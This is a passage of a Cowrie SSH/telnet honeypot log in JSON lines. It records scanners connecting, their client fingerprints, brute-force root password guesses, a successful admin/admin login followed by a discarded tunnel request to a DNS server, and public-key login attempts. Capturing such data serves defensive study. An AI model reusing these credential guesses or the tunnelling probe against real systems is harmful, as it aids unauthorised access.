cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T05:27:45.541573Z","src_ip":"27.71.230.31","session":"787d6f7b994f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Admin1453","message":"login attempt [root/Admin1453] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T05:27:54.398839Z","src_ip":"27.71.230.31","session":"787d6f7b994f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":59524,"dst_ip":"10.17.0.5","dst_port":22,"session":"e12b644d8fac","protocol":"ssh","message":"New connection: 87.251.64.176:59524 (10.17.0.5:22) [session: e12b644d8fac]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T05:27:55.614564Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T05:27:55.617985Z","src_ip":"87.251.64.176","session":"e12b644d8fac","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T05:27:55.712412Z","src_ip":"87.251.64.176","session":"e12b644d8fac","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"10.9","message":"Connection lost after 10.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T05:27:55.826007Z","src_ip":"27.71.230.31","session":"787d6f7b994f","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T05:27:56.084439Z","src_ip":"87.251.64.176","session":"e12b644d8fac","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T05:27:56.178891Z","session":"e12b644d8fac","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T05:27:56.272979Z","src_ip":"87.251.64.176","session":"e12b644d8fac","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.9","message":"Connection lost after 0.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T05:27:56.503811Z","src_ip":"87.251.64.176","session":"e12b644d8fac","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.82.20.28","src_port":39024,"dst_ip":"10.17.0.5","dst_port":22,"session":"c93b2c0057af","protocol":"ssh","message":"New connection: 103.82.20.28:39024 (10.17.0.5:22) [session: c93b2c0057af]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T05:28:05.541944Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T05:28:05.545728Z","src_ip":"103.82.20.28","session":"c93b2c0057af","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T05:28:05.809721Z","src_ip":"103.82.20.28","session":"c93b2c0057af","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Forten1883","message":"login attempt [root/Forten1883] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T05:28:06.604671Z","src_ip":"103.82.20.28","session":"c93b2c0057af","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T05:28:07.872324Z","src_ip":"103.82.20.28","session":"c93b2c0057af","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.122.221.179","src_port":37672,"dst_ip":"159.203.135.109","dst_port":22,"session":"183c024eb852","protocol":"ssh","message":"New connection: 103.122.221.179:37672 (159.203.135.109:22) [session: 183c024eb852]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T05:28:44.841905Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T05:28:44.846551Z","src_ip":"103.122.221.179","session":"183c024eb852","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T05:28:45.102542Z","src_ip":"103.122.221.179","session":"183c024eb852","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"29101984","message":"login attempt [root/29101984] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T05:28:45.870404Z","src_ip":"103.122.221.179","session":"183c024eb852","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T05:28:47.128886Z","src_ip":"103.122.221.179","session":"183c024eb852","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":50072,"dst_ip":"159.203.135.109","dst_port":23,"session":"a9d7077923e6","protocol":"telnet","message":"New connection: 128.199.8.54:50072 (159.203.135.109:23) [session: a9d7077923e6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T05:29:39.486311Z"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":51268,"dst_ip":"159.203.135.109","dst_port":23,"session":"1397eb6994dd","protocol":"telnet","message":"New connection: 128.199.8.54:51268 (159.203.135.109:23) [session: 1397eb6994dd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T05:29:42.519290Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.89.160.135","src_port":58000,"dst_ip":"159.203.135.109","dst_port":22,"session":"03514ebbdd01","protocol":"ssh","message":"New connection: 64.89.160.135:58000 (159.203.135.109:22) [session: 03514ebbdd01]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T05:29:44.704268Z"}
{"eventid":"cowrie.session.closed","duration":"0.1","message":"Connection lost after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T05:29:44.803373Z","src_ip":"64.89.160.135","session":"03514ebbdd01","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"195.26.87.217","src_port":51496,"dst_ip":"10.17.0.5","dst_port":22,"session":"4a9c4fccffd1","protocol":"ssh","message":"New connection: 195.26.87.217:51496 (10.17.0.5:22) [session: 4a9c4fccffd1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T05:30:05.203811Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T05:30:05.213974Z","src_ip":"195.26.87.217","session":"4a9c4fccffd1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T05:30:05.318052Z","src_ip":"195.26.87.217","session":"4a9c4fccffd1","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"69:9a:a9:38:60:0b:8f:2f:90:40:5e:86:69:96:1c:bd","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCZc58Qy+XBz4AMom/FhAmOHACIaejm4vDONDBOhXOdK4t7oHeH0sDebNFE3UIia7IYvl7ndpYKQX/4xsepJtZf7bGeBsEP0wjZUtolLHdlCvNYTXW5XpOuIzdD6L9OPs9yO+4PVQK7yp8NQoz2/XAtytljnfDhS0brW8dIolzMpccad+X/UbxIhbjx06jbk1Sno1EDqfrhQpbJUfBmbDOkLbqfkIffcbn6bwrzXG69Ctm6mSlnvxzzPKrunIdShTD9vHlXDTt/OGguLY/cadDgZGtHbgD8TOa/d2Kuo4I4UZTdwzDuIQDTBJiexZoKGGz7dPP9sGsvpLuL6xSgPvyzU//i0ai/Zhss6HtP/pQHdYawwphPWcRF9Wd7DGyV5NEsUK8i3pByVqVaBaFNAR1jfVbs/gG26MZtoHPcK3jDhn0LkJHMoDolzyTCNSwwLzVauMYlNPhMR8AW2B1MxSQ9U31I0jKSbgQKkkar00F1VTKoX0JA9km0N6/Ukbd7Jeyb7x9bNJUnEoTbOpBkl5C6lovwmu59YOD47aOmrS02TdwTqU6ek877jpqD4FHUQB+Z0NP2C/zQFCItp1wknDhyT2cELUCkMqNGZSeiWUrHejx55R40pK7hHGR2gO6kztzgcR/sCP8Ki5rBKBb75bpXTsETqod1dvGBHgdQuoAr+w==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 69:9a:a9:38:60:0b:8f:2f:90:40:5e:86:69:96:1c:bd","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T05:30:05.730911Z","src_ip":"195.26.87.217","session":"4a9c4fccffd1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"69:9a:a9:38:60:0b:8f:2f:90:40:5e:86:69:96:1c:bd","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCZc58Qy+XBz4AMom/FhAmOHACIaejm4vDONDBOhXOdK4t7oHeH0sDebNFE3UIia7IYvl7ndpYKQX/4xsepJtZf7bGeBsEP0wjZUtolLHdlCvNYTXW5XpOuIzdD6L9OPs9yO+4PVQK7yp8NQoz2/XAtytljnfDhS0brW8dIolzMpccad+X/UbxIhbjx06jbk1Sno1EDqfrhQpbJUfBmbDOkLbqfkIffcbn6bwrzXG69Ctm6mSlnvxzzPKrunIdShTD9vHlXDTt/OGguLY/cadDgZGtHbgD8TOa/d2Kuo4I4UZTdwzDuIQDTBJiexZoKGGz7dPP9sGsvpLuL6xSgPvyzU//i0ai/Zhss6HtP/pQHdYawwphPWcRF9Wd7DGyV5NEsUK8i3pByVqVaBaFNAR1jfVbs/gG26MZtoHPcK3jDhn0LkJHMoDolzyTCNSwwLzVauMYlNPhMR8AW2B1MxSQ9U31I0jKSbgQKkkar00F1VTKoX0JA9km0N6/Ukbd7Jeyb7x9bNJUnEoTbOpBkl5C6lovwmu59YOD47aOmrS02TdwTqU6ek877jpqD4FHUQB+Z0NP2C/zQFCItp1wknDhyT2cELUCkMqNGZSeiWUrHejx55R40pK7hHGR2gO6kztzgcR/sCP8Ki5rBKBb75bpXTsETqod1dvGBHgdQuoAr+w==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T05:30:05.734193Z","src_ip":"195.26.87.217","session":"4a9c4fccffd1","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"bf:2b:42:f7:3e:b1:24:44:94:c1:75:11:64:d0:70:2e","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDMNRzRni+D+hLYimk5EroaJHCXPAFzE94r4lukbO1OLCq9esiF6bSYBcAcDImpoWCb5hQ/uL0OW2ONfKfQPN7XTTJPPSax1jjm6GwqvhWxlVp8EeOGoTdLjD3PyFbf8l/qwbR7z3Ns1fxu01QRIxWuhxarCpVD6TsTeADjAjB7y/RmEvJsYfFs49uC1ia+HaIrmjunZsNJ4pow6kBLmk8VI9QrhVUPEpTl37k2GfXI3a9c//hsMuHz9T5Xjp/aFyEdU4ZGmDxda6kNzlEPYU7i0pfu0ZUQGB0OjBrhDeLh3eIow4qdhFpcK9zyC/uue7UVxJaWuS/oCdMf7m98jbhZ","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint bf:2b:42:f7:3e:b1:24:44:94:c1:75:11:64:d0:70:2e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T05:30:05.821188Z","src_ip":"195.26.87.217","session":"4a9c4fccffd1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"bf:2b:42:f7:3e:b1:24:44:94:c1:75:11:64:d0:70:2e","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDMNRzRni+D+hLYimk5EroaJHCXPAFzE94r4lukbO1OLCq9esiF6bSYBcAcDImpoWCb5hQ/uL0OW2ONfKfQPN7XTTJPPSax1jjm6GwqvhWxlVp8EeOGoTdLjD3PyFbf8l/qwbR7z3Ns1fxu01QRIxWuhxarCpVD6TsTeADjAjB7y/RmEvJsYfFs49uC1ia+HaIrmjunZsNJ4pow6kBLmk8VI9QrhVUPEpTl37k2GfXI3a9c//hsMuHz9T5Xjp/aFyEdU4ZGmDxda6kNzlEPYU7i0pfu0ZUQGB0OjBrhDeLh3eIow4qdhFpcK9zyC/uue7UVxJaWuS/oCdMf7m98jbhZ","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T05:30:05.824559Z","src_ip":"195.26.87.217","session":"4a9c4fccffd1","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"3f:89:1f:b1:31:2a:57:db:ea:29:39:55:8c:53:dd:b1","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEA7Cq0rDLWSzff9eq11HXGf12JNZFgNr7Ct6aXgSyzMj5rcMlkl/AU0g6DYKasfLgIwPFilT75XAFBDvOegO9Y40LU3F2edEdcALYxAde9U99/cfqLhpgNRwBLZXgTsWTugHjriV+s71CqJamVkDdsLdxms6aWZ1v6/+QNWo2paKA16BFDHxWhLA35h/hmF2yrShG8yuHdoAElzGwvgwyqt6qOfc1QOMdjJm8BI6n1DPKf1f7F2qeXFgH7amERpvzI62pcpRhxVGHAWk6rW1QRpKa6v7E2uz1nHJTBx8Mk0OGPQzE4ZasUcIVWse9g70FxNmAR2Q1Mb1ad8+NfVoSRpw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 3f:89:1f:b1:31:2a:57:db:ea:29:39:55:8c:53:dd:b1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T05:30:05.913391Z","src_ip":"195.26.87.217","session":"4a9c4fccffd1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"3f:89:1f:b1:31:2a:57:db:ea:29:39:55:8c:53:dd:b1","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEA7Cq0rDLWSzff9eq11HXGf12JNZFgNr7Ct6aXgSyzMj5rcMlkl/AU0g6DYKasfLgIwPFilT75XAFBDvOegO9Y40LU3F2edEdcALYxAde9U99/cfqLhpgNRwBLZXgTsWTugHjriV+s71CqJamVkDdsLdxms6aWZ1v6/+QNWo2paKA16BFDHxWhLA35h/hmF2yrShG8yuHdoAElzGwvgwyqt6qOfc1QOMdjJm8BI6n1DPKf1f7F2qeXFgH7amERpvzI62pcpRhxVGHAWk6rW1QRpKa6v7E2uz1nHJTBx8Mk0OGPQzE4ZasUcIVWse9g70FxNmAR2Q1Mb1ad8+NfVoSRpw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T05:30:05.916835Z","src_ip":"195.26.87.217","session":"4a9c4fccffd1","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"9f:7c:2a:85:c9:cd:08:d5:4b:92:d4:b1:eb:a4:35:48","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAvrfmqlLrjnZWjyfLPUKxFf3AVCtB4gHDmJx4cCN2PSc5/s5VsYEyJSfnxxAyuIKd/qXnaJGrpz2jyF89qL/wEwTu4gLItMLti1ZgegzeGB1RBz7kX5TxGMn2dT/ZzSYV6fFg5dF3FZNbAjbJFy1pEe6qxFM4Lj9DdIqQeQ2jTg+F8htTRcufT1LeRQDisAc0W+GqFukCO1qrOG3Y4JcElwp2NtlAUJA6rKyw2zEge8ZaN1iZpjC0Yf2E0dkQOQ3jda5yidiZek82IbOas5sCMtCW+/Zggi25GIpkESeWa6kcc8Bp+xAtBi+iS5VVCba3NAXLnQ4xz8XusLPvIcSKIQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 9f:7c:2a:85:c9:cd:08:d5:4b:92:d4:b1:eb:a4:35:48","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T05:30:06.016114Z","src_ip":"195.26.87.217","session":"4a9c4fccffd1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"9f:7c:2a:85:c9:cd:08:d5:4b:92:d4:b1:eb:a4:35:48","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAvrfmqlLrjnZWjyfLPUKxFf3AVCtB4gHDmJx4cCN2PSc5/s5VsYEyJSfnxxAyuIKd/qXnaJGrpz2jyF89qL/wEwTu4gLItMLti1ZgegzeGB1RBz7kX5TxGMn2dT/ZzSYV6fFg5dF3FZNbAjbJFy1pEe6qxFM4Lj9DdIqQeQ2jTg+F8htTRcufT1LeRQDisAc0W+GqFukCO1qrOG3Y4JcElwp2NtlAUJA6rKyw2zEge8ZaN1iZpjC0Yf2E0dkQOQ3jda5yidiZek82IbOas5sCMtCW+/Zggi25GIpkESeWa6kcc8Bp+xAtBi+iS5VVCba3NAXLnQ4xz8XusLPvIcSKIQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T05:30:06.022002Z","src_ip":"195.26.87.217","session":"4a9c4fccffd1","protocol":"ssh"}
